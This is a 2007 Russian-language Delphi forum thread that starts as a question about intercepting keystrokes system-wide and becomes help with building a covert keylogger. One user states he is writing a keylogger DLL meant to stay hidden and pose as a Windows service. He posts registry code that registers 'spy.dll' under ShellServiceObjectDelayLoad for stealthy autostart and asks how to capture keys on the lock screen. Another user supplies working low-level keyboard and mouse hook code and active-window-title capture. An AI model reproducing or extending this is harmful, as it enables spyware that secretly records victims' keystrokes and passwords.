Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > Разное
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 25.07.2007, 12:15
CODeRUS CODeRUS вне форума
Прохожий
 
Регистрация: 25.07.2007
Сообщения: 8
Репутация: 10
По умолчанию Перехват событий клавиатуры

Как правильно перехватывать нажатия на клаву во ВСЕХ приложениях?
Как перехватить нажатие, изменить значение на нужное и послать дальше винде (переназначить)?
Ответить с цитированием
  #2  
Старый 25.07.2007, 16:33
Аватар для Admin
Admin Admin вне форума
Администратор
 
Регистрация: 03.10.2005
Адрес: Россия, Москва
Сообщения: 1,560
Версия Delphi: Delphi 7
Репутация: выкл
По умолчанию

Цитата:
Сообщение от CODeRUS
Как правильно перехватывать нажатия на клаву во ВСЕХ приложениях?
Как перехватить нажатие, изменить значение на нужное и послать дальше винде (переназначить)?
Смотри в сторону хуков и dll.
Несколько исходников в придачу:
- Keyboard hook
- Key Logger
- Key Statistic
- ScanKey
Ответить с цитированием
  #3  
Старый 25.07.2007, 19:42
CODeRUS CODeRUS вне форума
Прохожий
 
Регистрация: 25.07.2007
Сообщения: 8
Репутация: 10
По умолчанию

нашел как без dll получить цифровой код. А кто подскажет как конвертировать его в название кнопки?
Ответить с цитированием
  #4  
Старый 25.07.2007, 21:36
Аватар для 4kusNick
4kusNick 4kusNick вне форума
Местный
 
Регистрация: 06.09.2006
Адрес: Россия, Санкт-Петербург
Сообщения: 444
Репутация: 550
По умолчанию

Цитата:
Сообщение от CODeRUS
нашел как без dll получить цифровой код...
Поделись, если не сложно, как?
__________________
THE CRACKER IS OUT THERE
Ответить с цитированием
  #5  
Старый 26.07.2007, 11:44
CODeRUS CODeRUS вне форума
Прохожий
 
Регистрация: 25.07.2007
Сообщения: 8
Репутация: 10
По умолчанию

Запросто:
Код:
var                //переменные в Юните
hHook: THandle;
VKey:integer;

function LowLevelKeyboardProc(nCode: Integer;
  WParam: WPARAM; LParam: LPARAM): LRESULT stdcall;

  type
  PKbdDllHookStrukt = ^TKbdDllHookStrukt;
  _KBDLLHOOKSTRUCT = record
    vkCode: DWORD;
    scanCode: DWORD;
    flags: DWORD;
    time: DWORD;
    dwExtraInfo: PDWORD;
  end;
  TKbdDllHookStrukt = _KBDLLHOOKSTRUCT;

const
  RPT_WPARAM_DATA = '%s';
  RPT_LPARAM_DATA = '%d';

var
  StrResult: String;
begin
  StrResult := '';
  if nCode = HC_ACTION then
    Result := CallNextHookEx(hHook, nCode, WParam, LParam);
  case WParam of
    WM_KEYDOWN: StrResult := Format(RPT_WPARAM_DATA, ['']);
    WM_KEYUP: StrResult := Format(RPT_WPARAM_DATA, ['']);
    WM_SYSKEYDOWN: StrResult := Format(RPT_WPARAM_DATA, ['']);
    WM_SYSKEYUP: StrResult := Format(RPT_WPARAM_DATA, ['']);
  end;
  StrResult := Format(RPT_LPARAM_DATA, [PKbdDllHookStrukt(LParam)^.vkCode]);
  
  VKey:=strtoint(strresult); //Получаем VKey нажатой клавиши

end;

procedure InstallHook;
const
  WH_KEYBOARD_LL = 13;
begin
  hHook := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
  if hHook = 0 then RaiseLastOSError;
end;

procedure RemoveHook;
begin
if not UnhookWindowsHookEx(hHook) then RaiseLastOSError;
end;
Цифровой код передаётся в переменную VKey.
Собственно как теперь мне нреобразовать цифровой код в название нажатой клавиши?
Ответить с цитированием
  #6  
Старый 03.09.2007, 12:03
Аватар для The Shadow
The Shadow The Shadow вне форума
Продвинутый
 
Регистрация: 11.06.2007
Адрес: Уфа, Россия
Сообщения: 793
Репутация: 35
По умолчанию

Chr(VKey). Должно помочь.
Функция возвращает сам символ.
Ответить с цитированием
  #7  
Старый 08.11.2007, 21:26
ruff3d ruff3d вне форума
Прохожий
 
Регистрация: 08.11.2007
Сообщения: 20
Репутация: 10
Лампочка Мужики выручайте ..)) (dll-keyspy)

Короче проблема вот в чем ... Я пишу кейлоггер(dll) мне нужно получить строку с именем активного окна ...Api функции типа getactivewnd пытался ... не получилось ... так подскажите как ... может криво делал..
Заранее невероятно благодарен...)))
Ответить с цитированием
  #8  
Старый 09.11.2007, 11:56
CODeRUS CODeRUS вне форума
Прохожий
 
Регистрация: 25.07.2007
Сообщения: 8
Репутация: 10
По умолчанию

ну вот смотри как я решил этот вопрос:
Код:
  var
  CWND,LastWnd:HWND;
  SzKeyName, WindowName: array [0..127] of char
  {...}
  CWnd:=GetForegroundWindow;
  GetWindowText(CWnd, SzKeyName, SizeOf(SzKeyName));
И ещё могу предложить функцию низкоуровневого хука на клавиатуру и мыши(без использования dll):
клавиатура
Код:
var
  kHook: THandle;
  iVKey:integer;
  sVKey:string;

procedure KeyAction;
begin
  // do sth
end;

function LowLevelKeyboardProc(nCode: Integer;
  WParam: WPARAM; LParam: LPARAM): LRESULT stdcall;

  type
  PKbdDllHookStrukt = ^TKbdDllHookStrukt;
  _KBDLLHOOKSTRUCT = record
    vkCode: DWORD;
    scanCode: DWORD;
    flags: DWORD;
    time: DWORD;
    dwExtraInfo: PDWORD;
  end;
  TKbdDllHookStrukt = _KBDLLHOOKSTRUCT;

const
  RPT_WPARAM_DATA = '%s';
  RPT_LPARAM_DATA = '%d';

var
  StrResult: String;
begin
  StrResult := '';
  if nCode = HC_ACTION then
    Result := CallNextHookEx(kHook, nCode, WParam, LParam);
  case WParam of
    WM_KEYDOWN: StrResult := Format(RPT_WPARAM_DATA, ['']);
    WM_SYSKEYDOWN: StrResult := Format(RPT_WPARAM_DATA, ['']);
  end;

  StrResult := Format(RPT_LPARAM_DATA, [PKbdDllHookStrukt(LParam)^.vkCode]);
  if (Wparam=WM_KEYUP) or (Wparam=WM_SYSKEYUP) then strresult:='';
  sVKey:=strresult;
  if strresult<>'' then
  iVKey:=strtoint(strresult) //Получаем iVKey нажатой клавиши
  else iVKey:=0;
  KeyAction;

end;

procedure InstallKeyBoardHook;
const
  WH_KEYBOARD_LL = 13;
begin
  kHook := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
  if kHook = 0 then RaiseLastOSError;
end;

procedure RemoveKeyBoardHook;
begin
if not UnhookWindowsHookEx(kHook) then RaiseLastOSError;
end;

мышь
Код:
const
   WH_MOUSE_LL = 14;

tagMSLLHOOKSTRUCT = packed record
    pt : TPoint;
    mouseData : DWord;
    flags : DWord;
    time : DWord;
    dwExtraInfo : PDWord;
  end;
  tMSLLHOOKSTRUCT = tagMSLLHOOKSTRUCT;
  PMSLLHOOKSTRUCT = ^TMSLLHOOKSTRUCT;

var
  mHook:HHook;
  Mpt:TPoint;;

{...}

function LowLevelMouseProc(nCode:integer;wP: WPARAM ; lP:LPARAM):LRESULT; stdcall;
var
 MS:PMSLLHOOKSTRUCT;
begin
 if nCode<0 then
  begin
   Result:=CallNextHookEx(mHook,nCode,wP,lP);
   exit;
  end;
  if wP = WM_MOUSEMOVE then //когда мышь побежала-побежала...
   begin
    MS:=PMSLLHOOKSTRUCT(lP);
    mPt.x:=MS^.pt.X;	//получаем Х-координату мыши
    mPt.y:=MS^.pt.Y;	//получаем У-координату мыши
   end;

   Case wP of
      WM_LButtonDown: begin //когда нажали левую кнопку мыши
    	//
      end;
      WM_LButtonUp: begin //отпустили
    	//
      end;
      WM_RButtonDown: begin //когда нажали правую кнопку мыши
    	//
      end;
      WM_RButtonUp: begin //отпустили
    	//
      end;
      WM_MButtonDown: begin //среднюю нажали
    	//
      end;
      WM_MButtonUp: begin //отпустили
    	//
      end;
     WM_MouseWheel: begin //манипуляции и колесиком
	//	
      end else begin //когда не WM_MOUSEWHEEL
	//
       end;
      end;

   Result:=CallNextHookEx(mHook,nCode,wP,lP);
end;

procedure InstallMouseHook; //процедура инициализации хука
begin
mHook:=SetWindowsHookEx(WH_MOUSE_LL,@LowLevelMouseProc, HInstance, 0);
end;

procedure RemoveMouseHook; //деинициализация хука
begin
UnhookWindowsHookEx(mHook);
end;
Ответить с цитированием
  #9  
Старый 09.11.2007, 19:03
ruff3d ruff3d вне форума
Прохожий
 
Регистрация: 08.11.2007
Сообщения: 20
Репутация: 10
По умолчанию

спасибо...CODeRUS....
буду пробовать ...
а вот по поводу ... библиотеки , так я че ее использую - мне нужно невидимость в системе ... куда уж лучше .. темболее будет маскироватся как сервис виндовоза...))
- И еще одно ... Хотел узнать ... Как перехваченые коды клавиш перевести в символы с УЧЕТОМ РЕГИСТРА?
С уважением RufF3D...
Ответить с цитированием
  #10  
Старый 09.11.2007, 22:55
ruff3d ruff3d вне форума
Прохожий
 
Регистрация: 08.11.2007
Сообщения: 20
Репутация: 10
По умолчанию

И еще один вопрос ...
Как можно отследить события клавиатуры во время блокировки logon (Win+L). Через API функции возможно?
Жду ответа какк соловей лета...)))))
)))Зарание спасибо...
Ответить с цитированием
  #11  
Старый 10.11.2007, 10:45
CODeRUS CODeRUS вне форума
Прохожий
 
Регистрация: 25.07.2007
Сообщения: 8
Репутация: 10
По умолчанию

кинь тогда тот кусок где скрытие происходит, интересно посмотреть
а про блокировку пока не скажу-проверять надо
Ответить с цитированием
  #12  
Старый 10.11.2007, 11:53
ruff3d ruff3d вне форума
Прохожий
 
Регистрация: 08.11.2007
Сообщения: 20
Репутация: 10
По умолчанию

скрытие ... я просто регитрирую dll в автозагрузку сервисов (не в раздел RUN) там где регятся сервисы / ну шота типа этого ....:

Reg:TRegistry;
Temp:TGUID;
S:String;
t:textfile;
begin
CreateGUID(Temp);
s := GUIDToString(Temp);
Reg := TRegistry.Create;
reg.rootkey:=HKEY_CLASSES_ROOT;
if reg.openkey ('CLSID\'+s+'\InProcServer32', true) then
// хёыш ёючфрыш шфхэЄшЇшърЄюЁ ъырёёр
begin
reg.writestring('',windir+'spy.dll'); //±єёЄ№ ъ сшсышюЄхъх

reg.closekey;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('Software\Microsoft\Windows\CurrentVer sion\ShellServiceObjectDelayLoad', true);
reg.writestring('SpyDllLoad', s);
reg.closekey;
end;
Reg.Free;
end;
Ответить с цитированием
  #13  
Старый 10.11.2007, 17:13
CODeRUS CODeRUS вне форума
Прохожий
 
Регистрация: 25.07.2007
Сообщения: 8
Репутация: 10
По умолчанию

а оно потом в процессах не светится что ли?
надо попробовать будет......
Ответить с цитированием
  #14  
Старый 11.11.2007, 11:42
ruff3d ruff3d вне форума
Прохожий
 
Регистрация: 08.11.2007
Сообщения: 20
Репутация: 10
По умолчанию

вообще то ... библиотеки в процессах не видны ...(во всяком случае для ламеров), а запускается она как системная dll...
...так че там с блокировкой ... как это обойти... (ато hook не ловит)
Ответить с цитированием
  #15  
Старый 22.11.2007, 00:41
ruff3d ruff3d вне форума
Прохожий
 
Регистрация: 08.11.2007
Сообщения: 20
Репутация: 10
По умолчанию

так мне поможет кто-нить с блокировкой...?
=- люди ... ну где же вы...?
- или эт слижком сложно...?
жду ответа ...)))
Ответить с цитированием
Ответ


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 13:25.


 

Сайт

Форум

FAQ

RSS лента

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2023

ВКонтакте   Facebook   Twitter